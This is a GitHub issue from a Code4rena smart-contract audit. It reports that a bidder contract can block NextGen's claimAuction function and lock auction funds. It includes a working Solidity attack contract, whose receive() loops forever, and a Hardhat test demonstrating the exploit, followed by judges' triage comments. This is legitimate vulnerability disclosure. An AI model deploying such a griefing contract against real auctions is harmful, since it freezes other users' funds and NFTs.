Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bidder can DoS claimAuction #1339

Closed
c4-submissions opened this issue Nov 12, 2023 · 4 comments
Closed

Bidder can DoS claimAuction #1339

c4-submissions opened this issue Nov 12, 2023 · 4 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-734 edited-by-warden partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Nov 12, 2023

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Summary

A bidder can cause a DoS in the claimAuction function and preventing the owner from claiming his NFT.

Vulnerability Details

claimAuction function can be called by the highest bidder to claim his NFT and this function is supposed to transfer the NFT to the msg.sender, pay the previous owner of the NFT and return all the funds to the other bidders, however when trying to refund we use payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""). This can be exploited because the bidder can be a contract that makes the transaction run out of gas and therefore DoS the function.
This also means that the funds are stuck in the contract since there is no way a user can get his money back.
An attacker can perform this attack pretty easy because if he is the first bidder he can send a value close to zero. Also he can front-run another bidder so that the attacker can be the first person (to pay very little).

Proof of Concept

Add this contract in hardhat/smart-contracts

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import {auctionDemo} from "./AuctionDemo.sol";

contract BidderContract {
  function participateInAuction(address auctionContract, uint256 tokenId) external payable {
    auctionDemo(auctionContract).participateToAuction{value: msg.value}(tokenId);
  }

  receive() external payable {
    while(true) {}
  }
}

Add this test to nextGen.test.js:

context("Custom tests", () => {
  it("#bidder DoS claimAuction", async function () {

    await contracts.hhMinter.mintAndAuction(signers.addr3.address, "tokenDataaaa", 23, 2, 1796931278);
  
    const bidderFactory = await ethers.getContractFactory("BidderContract");
    const bidderContract = await bidderFactory.deploy();

    //deply auctionDemo

    const auctionDemoFactory = await ethers.getContractFactory("auctionDemo");
    const auctionDemoContract = await auctionDemoFactory.deploy(await contracts.hhMinter.getAddress(), 
        await contracts.hhCore.getAddress(), 
        await contracts.hhAdmin.getAddress());

    await time.setNextBlockTimestamp(1796931178 + 1);

    await bidderContract.participateInAuction(await auctionDemoContract.getAddress(), 20000000001, { value: 
      ethers.parseEther("0.5") });

    const auctionDemo = await auctionDemoContract.connect(signers.addr1);

    await auctionDemo.participateToAuction(20000000001, { value: ethers.parseEther("1") });

    await time.setNextBlockTimestamp(1796931278 + 1);

    await expect(auctionDemo.claimAuction(20000000001)).to.be.reverted;

  })

})

Also add time from @nomicfoundation/hardhat-toolbox/network-helpers at the top of the test. Like that:

const {
  loadFixture,
  time
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")

In this test we can see how BidderContract performs a successful DoS and leaves all the funds locked in the AuctionDemo contract.

Impact

Funds are stucked in the AuctionDemo contract, prevents the highest bidder from claiming his NFT

Tools Used

VS Code, Manual Review, Hardhat

Recommended Mitigation Steps

I would recommend to check if the msg.sender is a contract in the participateToAuction function and prevent him from placing a bid.

Assessed type

DoS

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 12, 2023
c4-submissions added a commit that referenced this issue Nov 12, 2023
@code4rena-admin code4rena-admin changed the title Bidder can DoS claimAuction Bidder can DoS claimAuction Nov 12, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #486

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as duplicate of #1782

@c4-judge c4-judge added duplicate-734 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) and removed duplicate-1782 labels Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-734 edited-by-warden partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

4 participants